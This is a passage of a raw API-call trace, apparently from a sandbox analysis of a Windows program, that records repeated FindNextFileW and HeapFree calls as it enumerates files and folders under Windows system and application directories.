hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0262.827] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb3fd050, ftCreationTime.dwHighDateTime=0x1d4df56, ftLastAccessTime.dwLowDateTime=0x2dad1ea0, ftLastAccessTime.dwHighDateTime=0x1d4ea5f, ftLastWriteTime.dwLowDateTime=0x2dad1ea0, ftLastWriteTime.dwHighDateTime=0x1d4ea5f, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dome.exe", cAlternateFileName="")) returned 1 [0262.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.830] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1 [0262.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0262.832] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x13fd044c, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x13fd044c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0263.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0263.205] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0263.208] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.209] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1 [0263.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0263.209] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x131ce67f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x131ce67f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0263.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.209] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1 [0263.210] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0263.210] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1315c0c6, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x1315c0c6, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0263.210] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.210] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d342cc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d342cc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0263.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0263.211] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9123675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0263.213] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.213] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0263.214] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.214] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0263.224] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.224] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0263.282] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.282] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88286500, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1c0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0263.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.288] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0263.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.288] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0263.289] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0263.289] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0263.289] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0263.289] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0263.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0263.290] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0263.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.290] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0263.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0263.332] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0263.333] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.333] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0263.333] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0263.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0263.336] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0263.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.341] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0263.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0263.342] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0263.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0263.342] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0263.343] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.343] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1 [0263.344] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.344] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 0 [0263.344] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0263.348] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0263.348] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x13135ea8, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x13135ea8, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0263.348] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.348] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7904f610, ftCreationTime.dwHighDateTime=0x1d48034, ftLastAccessTime.dwLowDateTime=0xfad3db0, ftLastAccessTime.dwHighDateTime=0x1d4c88e, ftLastWriteTime.dwLowDateTime=0xfad3db0, ftLastWriteTime.dwHighDateTime=0x1d4c88e, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="organizingscsi.exe", cAlternateFileName="ORGANI~1.EXE")) returned 1 [0263.348] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.348] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0 [0263.348] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0263.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0263.349] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0263.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0263.349] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0263.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0263.352] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1 [0263.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0263.352] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0 [0263.352] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0263.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.354] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0263.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0263.457] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0263.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0263.457] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", 